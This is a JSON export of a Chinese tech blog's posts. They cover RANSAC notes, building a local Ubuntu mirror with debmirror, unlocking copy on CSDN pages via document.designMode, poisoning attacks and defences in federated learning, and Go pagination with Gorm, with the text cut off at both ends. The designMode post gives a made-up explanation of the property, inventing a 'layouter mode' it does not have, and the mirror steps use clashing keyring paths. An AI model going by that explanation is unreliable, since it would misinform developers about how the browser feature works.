随机抽样一致\"\u003e\u003c/a\u003eRANSAC 随机抽样一致\u003c/h3\u003e\u003cp\u003e如何计算\u003c/p\u003e\u003cul\u003e\u003cli\u003e随机抽取\u003c/li\u003e\u003cli\u003e计算匹配误差\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Ransac-算法\"\u003e\u003ca href=\"#Ransac-算法\" class=\"headerlink\" title=\"Ransac 算法\"\u003e\u003c/a\u003eRansac 算法\u003c/h4\u003e\u003col\u003e\u003cli\u003e随机选择 S 个样本\u003cul\u003e\u003cli\u003e通常 s 等于可以求解模型的最少样本数量\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e使用这 s 个样本求得一个解\u003c/li\u003e\u003cli\u003e计数符合模型的 inliers 数\u003c/li\u003e\u003cli\u003e重复 N 次\u003c/li\u003e\u003cli\u003e选择具有最多 inliers 数的模型\u003c/li\u003e\u003cli\u003e使用所有的 inliers 点,采用最小平方拟合\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"实验轮数的确定\"\u003e\u003ca href=\"#实验轮数的确定\" class=\"headerlink\" title=\"实验轮数的确定\"\u003e\u003c/a\u003e实验轮数的确定\u003c/h4\u003e\u003cul\u003e\u003cli\u003e$p$ 数内点的概率\u003c/li\u003e\u003cli\u003e$s$ 是每次实验使用样本点的数目\u003c/li\u003e\u003cli\u003e$P$ 为实验最终成功找到正确解的概率\u003c/li\u003e\u003cli\u003e$R$ 为实验轮数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{array} { l } \u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/11/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"如何搭建一个本地镜像源","time":"2023-10-16T15:23:51Z","content":"来玩pocketchip(OWO)\u003chr /\u003e\u003cp\u003e最近好哥们沉迷pocketchip,但是苦于架构比较古老(ARM-V7a但是能跑Linux Mainline),所以镜像站特别稀少,只有个国外的站点还开着。所以嘛,闲着也是闲着,就打算自己搭建一个镜像站咯。\u003c/p\u003e\u003cp\u003e顺便还能好好玩玩那个ESXi服务器。毕竟现在就只跑了一个OpenWRT和一个Ubuntu Server,实在没利用起来(\u003c/p\u003e\u003cp\u003e或许回头整个本地镜像源还能试试刷新一下Arch安装速度记录(逃\u003c/p\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"#准备\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先需要足够的硬盘空间和一个Linux计算机,以及差不多的网络环境。\u003c/p\u003e\u003cp\u003e然后是一些\u003cdel\u003e神秘妙妙\u003c/del\u003e工具:\u003ccode\u003eapache2, debmirror, gnupg, xz-utils, rsync(recommend)\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"开始\"\u003e\u003ca href=\"#开始\" class=\"headerlink\" title=\"开始\"\u003e\u003c/a\u003e开始\u003c/h2\u003e\u003cp\u003e首先,因为同步的数据量会比较大,所以建议使用一块单独的硬盘或者看具体情况分个区都行。硬盘处理好后,可以将它挂载到\u003ccode\u003e/mount/\u003c/code\u003e下,随后创建我们的镜像站仓库目录们。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/debmirror/\u0026#123;amd64,keyring\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p /mirror/scripts \u003cspan class=\"comment\"\u003e# 各种镜像站工具脚本\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后安装GPG keyrnig:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egpg --no-default-keyring --keyring /mirror/debmirror/mirrorkeyring/trustedkeys.gpg --import /usr/share/keyrings/ubuntu-archive-keyring.gpg\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装完成后,在Web服务器站点根目录创建符号链接:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /var/www/html\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /mirror/debmirror/amd64 ubuntu\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在这之后,我们还需要配置debmirror才能实现自动同步upstream等功能。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /mirror/scripts\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewget https://louwrentius.com/files/debmirroramd64.sh.txt -O debmirroramd64.sh \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x debmirroramd64.sh\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接着修改脚本设置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GNUPGHOME=/mirror/debmirror/mirrorkeyring\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003erelease=focal,focal-security,focal-updates,focal-backports,jammy,jammy-security,jammy-updates,jammy-backports\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eserver=nl.archive.ubuntu.com\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eproto=rsync\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoutPath=/mirror/debmirror/amd64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#bwlimit=1000 # 设置rsync的带宽限速为1000KB/s,如果要启用这个限制,还需要取消注释下面的行:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e--rsync-options \u003cspan class=\"string\"\u003e\u0026quot;-aIL --partial --bwlimit=\u003cspan class=\"variable\"\u003e$bwlimit\u003c/span\u003e\u0026quot;\u003c/span\u003e \\\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,你可以先运行一次脚本来完成第一次同步。\u003cstrong\u003e同步完成后\u003c/strong\u003e,再在crontab里边加上自动任务(不然你的同步进程时间过长,可能会干扰cron任务):\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e0 1 * * * /mirror/scripts/debmirroramd64.sh\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"References\"\u003e\u003ca href=\"#References\" class=\"headerlink\" title=\"References\"\u003e\u003c/a\u003eReferences\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://louwrentius.com/how-to-setup-a-local-or-private-ubuntu-mirror.html\"\u003eLouwrentius - How to Setup a Local or Private Ubuntu Mirror\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://www.debian.org/mirror/ftpmirror\"\u003eDebian - Setting up a Debian archive mirror\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/16/setup-local-linux-mirror/"},{"title":"CSDN复制解禁","time":"2023-10-12T06:18:34Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e省流不看:F12开发者工具终端执行\u003ccode\u003edocument.designMode=\u0026#39;on\u0026#39;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e原理嘛,就是利用浏览器的DOM启用设计模式来允许选择元素。关于DOM的详细介绍在下边:\u003c/p\u003e\u003ch2 id=\"DOM简介\"\u003e\u003ca href=\"#DOM简介\" class=\"headerlink\" title=\"DOM简介\"\u003e\u003c/a\u003eDOM简介\u003c/h2\u003e\u003cp\u003e在浏览器中,\u003ccode\u003edocument\u003c/code\u003e对象是一个非常重要的对象,它代表了当前页面的文档。\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性是\u003ccode\u003edocument\u003c/code\u003e对象的一个属性,它用于指定页面的设计模式。\u003c/p\u003e\u003cp\u003e设计模式主要有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e模式(常态):页面在正常模式下运行,用户可以正常查看和操作页面元素。 \u003c/li\u003e\u003cli\u003elayouter 模式(布局模式):页面在 layouter 模式下运行,用户无法正常查看和操作页面元素,只能查看页面的布局和结构。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这两种设计模式主要用于开发者调试和测试网页布局。通常,开发者会在开发过程中将页面切换到 layouter 模式,以便更好地查看和调整页面布局。当开发完成后,页面会自动切换回正常模式。\u003c/p\u003e\u003cp\u003e在页面加载时,浏览器会自动设置\u003ccode\u003edocument.DesignMode\u003c/code\u003e属性的值。开发者也可以通过 JavaScript 代码来修改这个属性的值,从而实现在不同设计模式之间的切换。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eDesignMode\u003c/code\u003e属性之外,\u003ccode\u003edocument\u003c/code\u003e对象还有许多其他的属性和方法,它们可以用来完成各种网页开发任务。例如:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003edocument.body\u003c/code\u003e:表示页面的主体部分,包含了所有的 HTML 元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.title\u003c/code\u003e:表示页面的标题,通常显示在浏览器的标签页上。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementById()\u003c/code\u003e:通过元素的 ID 获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByClassName()\u003c/code\u003e:通过元素的类名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.getElementsByTagName()\u003c/code\u003e:通过元素的标签名获取指定元素集合。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelector()\u003c/code\u003e:通过 CSS 选择器获取指定元素。 \u003c/li\u003e\u003cli\u003e\u003ccode\u003edocument.querySelectorAll()\u003c/code\u003e:通过 CSS 选择器获取指定元素集合。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e此外,\u003ccode\u003edocument\u003c/code\u003e对象还提供了许多用于操作 DOM 的方法,如\u003ccode\u003ecreateElement()\u003c/code\u003e、\u003ccode\u003eappendChild()\u003c/code\u003e、\u003ccode\u003eremoveChild()\u003c/code\u003e、\u003ccode\u003einsertBefore()\u003c/code\u003e等,以及用于处理事件的方法,如\u003ccode\u003eaddEventListener()\u003c/code\u003e、\u003ccode\u003eremoveEventListener()\u003c/code\u003e等。\u003c/p\u003e\u003cp\u003e总之,\u003ccode\u003edocument\u003c/code\u003e对象是浏览器中最重要的对象之一,它为网页开发者提供了丰富的属性和方法,使得开发者可以更加方便地完成各种网页开发任务。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/12/csdn-copy/"},{"title":"联邦学习的投毒和攻防方法","time":"2023-10-11T10:59:46Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e十分的交叉学科。具体而言就是机器学习领域的数据安全问题。\u003c/p\u003e\u003cp\u003e首先是标题 说的大概是一种新的人工智能学习范式。在这种防方式里也有攻击方式和相应的防御方式。\u003c/p\u003e\u003ch2 id=\"联邦学习简介\"\u003e\u003ca href=\"#联邦学习简介\" class=\"headerlink\" title=\"联邦学习简介\"\u003e\u003c/a\u003e联邦学习简介\u003c/h2\u003e\u003cul\u003e\u003cli\u003edefinition 联邦学习:一种分布式学习方法。解决的问题主要针对数据量不够\u0026#x2F;数据获取途径(成本问题),数据难以集中(法律问题和隐私问题)。一种时间方法是在本地进行小规模训练,然后将训练得到的模型参数上传汇总。不但规避了隐私版权问题,也保证了训练效果。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据以样本和特征分别作为基准,联邦学习又分为横向\u0026#x2F;纵向:同特征不同样本\u0026#x2F;同样本不同特征。它们各自有着相当不同的模型参数聚合方法。后者通常发生在大型企业之间,而前者通常发生在用户\u0026#x2F;公司之间,双方并非信任关系。\u003c/p\u003e\u003cp\u003e前者的聚合方法有简单的加权平均FedAvg,有离群点修复FedProx,还有SCAFFOLD等。而后者则利用隐私求交集PSI来完成加密实体对齐。典型的纵向联邦学习框架有SecureBoost。\u003c/p\u003e\u003cp\u003e但是数据特征仍然是反映在梯度参数中的,通过深度梯度泄漏方法DLG,可以恢复训练数据,这样就间接泄漏了训练数据的隐私。\u003c/p\u003e\u003ch2 id=\"隐私数据保护方法\"\u003e\u003ca href=\"#隐私数据保护方法\" class=\"headerlink\" title=\"隐私数据保护方法\"\u003e\u003c/a\u003e隐私数据保护方法\u003c/h2\u003e\u003cp\u003e防止梯度泄露的方法主要是两类:密码学方法和差分隐私(Differential Privacy).前者有MPC和HE等,通信开销和计算量较大,但是精度较高。后者则有噪声问题的困扰。\u003c/p\u003e\u003ch2 id=\"联邦学习的攻击方法\"\u003e\u003ca href=\"#联邦学习的攻击方法\" class=\"headerlink\" title=\"联邦学习的攻击方法\"\u003e\u003c/a\u003e联邦学习的攻击方法\u003c/h2\u003e\u003cp\u003e目的就是使训练模型很难收敛,破坏联邦学习模型的性能和可信度。\u003c/p\u003e\u003cul\u003e\u003cli\u003e投毒攻击,给本地数据添加错误,来弱化学习效果;或者更改分布式训练的模型参数。攻击者的知识、能力越强则攻击能力越强\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e但是太离谱的数据会被数据清洗过滤掉,太小的数据又没啥效果。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e目标\u0026#x2F;非目标攻击:针对特定\u0026#x2F;随即目标进行数据编造投毒攻击。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据打乱:比如对于不同群体的用户数据,互换他们attribute的结果,最终使得结果在不同群体上相反。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"投毒攻击的检测\"\u003e\u003ca href=\"#投毒攻击的检测\" class=\"headerlink\" title=\"投毒攻击的检测\"\u003e\u003c/a\u003e投毒攻击的检测\u003c/h2\u003e\u003cp\u003e这种检测难度不小:投毒攻击检测和隐私保护间的矛盾、数据非独立分布、攻击隐蔽性。\u003c/p\u003e\u003cp\u003e比较朴素的思路就是使用数据挖掘的清洗方法,对离群点等进行清洗。比如说有一些聚合方法:Krum, Bulyan, Trimmed mean(修整均值), Medium(中位数)等,都是一些经典的鲁棒性聚合规则。\u003c/p\u003e\u003ch2 id=\"防御方法\"\u003e\u003ca href=\"#防御方法\" class=\"headerlink\" title=\"防御方法\"\u003e\u003c/a\u003e防御方法\u003c/h2\u003e\u003cp\u003e首先是基于统计学的方法。但是它的局限性是只有少部分客户端被控制。\u003c/p\u003e\u003cp\u003e其次是用验证用数据集进行验证。不过这样纯粹的数据集很难找。\u003c/p\u003e\u003cp\u003e再者就是用机器学习方法1-AE进行检验。它首先在本地预训练一个自编码器模型,然后正式训练过程中基于自编码器计算各节点模型更新的重构误差。\u003c/p\u003e\u003cp\u003e2-GAN:可以用GAN尝试恢复出来训练样本来生成本地训练集,从而验证模型参数是否正常。但是缺陷是,无法应对在训练初期就发动攻击的方式。\u003c/p\u003e\u003cp\u003e区块链1-FLChain:由部分节点进行数据检测再进行上传,从而保证参数的正确性。问题是这部分节点如何选择,以及是否正常。解决方法可以是动态更新这部分成员结点,通过一系列置信度去更新这部分节点。\u003c/p\u003e\u003ch2 id=\"研究成果:神经网络模型水印\"\u003e\u003ca href=\"#研究成果:神经网络模型水印\" class=\"headerlink\" title=\"研究成果:神经网络模型水印\"\u003e\u003c/a\u003e研究成果:神经网络模型水印\u003c/h2\u003e\u003cp\u003e初始模型嵌入水印,并对水印进行检测。缺点是上传的模型不能加密。当然也可以允许加密,不过可以聚合模型,用聚合后的模型检验上传者。或者,可以比对上传者的历史行为数据,以此检测上传节点是否异常。\u003c/p\u003e\u003cp\u003e时间有限,基本就到这里了。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/"},{"title":"Golang代码复用-分页最佳实践","time":"2023-10-07T13:59:46Z","content":"简简单单,一行分页。回头甚至能水个库?\u003chr /\u003e\u003cp\u003e分页是查询的一个基本要求之一。这部分代码大多重复,适合复用。下面是一种最佳实践:\u003c/p\u003e\u003cp\u003e这是一个传有分页数据的Gin Handler,它需要对数据库进行分页查询:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p propertyRepository)\u003c/span\u003e\u003c/span\u003e GetPagedAndFiltered (limit, page \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后我们定义一个\u003ccode\u003egorm\u003c/code\u003e中间件去对数据库进行分页:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;gorm.io/gorm\u0026quot;\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e paginate \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003elimit \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epage \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003enewPaginate\u003c/span\u003e\u003cspan class=\"params\"\u003e(limit \u003cspan class=\"type\"\u003eint\u003c/span\u003e, page \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e *paginate \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u0026amp;paginate\u0026#123;limit: limit,page: page\u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p *paginate)\u003c/span\u003e\u003c/span\u003e paginatedResult(db *gorm.DB) *gorm.DB \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoffset := (p.page - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) * p.limit \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e db.Offset(offset). \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eLimit(p.limit) \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后,就可以在数据库中使用分页了:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(p propertyRepository)\u003c/span\u003e\u003c/span\u003e GetPagedAndFiltered(limit, page \u003cspan class=\"type\"\u003eint\u003c/span\u003e) ([]Property, \u003cspan class=\"type\"\u003eerror\u003c/span\u003e) \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e properties []Property \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eerr := p.db.Scopes(newPaginate(limit,page).paginatedResult).Find(\u0026amp;properties).Error \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e properties, err \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当然,我对上面的代码进行了进一步的集成。虽然损失了低耦合性质,但是只是在Gin使用的话体验拉满:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan 